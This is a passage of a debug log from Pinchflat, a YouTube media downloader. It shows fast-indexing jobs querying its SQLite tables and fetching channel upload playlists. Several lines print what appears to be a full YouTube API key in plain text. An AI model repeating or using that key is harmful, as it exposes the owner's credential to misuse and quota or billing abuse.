true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:34:58.321 [debug] QUERY OK source="tasks" db=0.1ms idle=235.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268255, 11, ~U[2026-10-09 21:34:58Z], ~U[2026-10-09 21:34:58Z]] 16:34:58.321 [info] {"args":{"id":11},"id":5268216,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":236593,"event":"job:stop","queue_time":485356,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:58.328 [info] {"args":{"id":26},"id":5268217,"meta":{},"system_time":1791581698328179421,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:58.328 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:34:58.328 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.328 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:58.328 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.328 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:34:58.329 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:58.329 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:58.455 [debug] QUERY OK source="media_items" db=0.7ms idle=126.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 16:34:58.456 [debug] QUERY OK source="media_items" db=0.6ms idle=127.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:34:58.457 [debug] QUERY OK source="tasks" db=0.1ms idle=128.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268256, 26, ~U[2026-10-09 21:34:58Z], ~U[2026-10-09 21:34:58Z]] 16:34:58.457 [info] {"args":{"id":26},"id":5268217,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129060,"event":"job:stop","queue_time":445445,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:59.086 [info] {"args":{"id":30},"id":5268218,"meta":{},"system_time":1791581699086179989,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:59.086 [debug] QUERY OK source="sources" db=0.1ms idle=629.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:34:59.086 [debug] QUERY OK source="settings" db=0.1ms idle=629.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.086 [debug] QUERY OK source="media_profiles" db=0.1ms idle=623.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:59.087 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.087 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:34:59.087 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.087 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:59.226 [debug] QUERY OK source="media_items" db=0.4ms idle=139.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:34:59.227 [debug] QUERY OK source="media_items" db=0.1ms idle=140.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:34:59.228 [debug] QUERY OK source="tasks" db=0.1ms idle=140.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268257, 30, ~U[2026-10-09 21:34:59Z], ~U[2026-10-09 21:34:59Z]] 16:34:59.228 [info] {"args":{"id":30},"id":5268218,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141943,"event":"job:stop","queue_time":422599,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:59.234 [info] {"args":{"id":8},"id":5268219,"meta":{},"system_time":1791581699234151153,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:34:59.234 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:34:59.234 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.234 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:34:59.235 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.235 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:34:59.235 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:34:59.235 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:34:59.481 [debug] QUERY OK source="media_items" db=0.6ms idle=246.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:34:59.482 [debug] QUERY OK source="media_items" db=0.3ms idle=247.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:34:59.483 [debug] QUERY OK source="tasks" db=0.1ms idle=248.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268258, 8, ~U[2026-10-09 21:34:59Z], ~U[2026-10-09 21:34:59Z]] 16:34:59.483 [info] {"args":{"id":8},"id":5268219,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249408,"event":"job:stop","queue_time":339481,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:00.087 [info] {"args":{"id":34},"id":5268220,"meta":{},"system_time":1791581700087362590,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:00.087 [debug] QUERY OK source="sources" db=0.1ms idle=604.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:35:00.087 [debug] QUERY OK source="settings" db=0.1ms idle=604.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:00.088 [debug] QUERY OK source="media_profiles" db=0.1ms idle=597.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:00.088 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:00.088 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:35:00.088 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:00.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:00.401 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:00.407 [debug] QUERY OK source="media_items" db=0.7ms idle=318.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:35:00.409 [debug] QUERY OK source="media_items" db=1.0ms idle=319.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 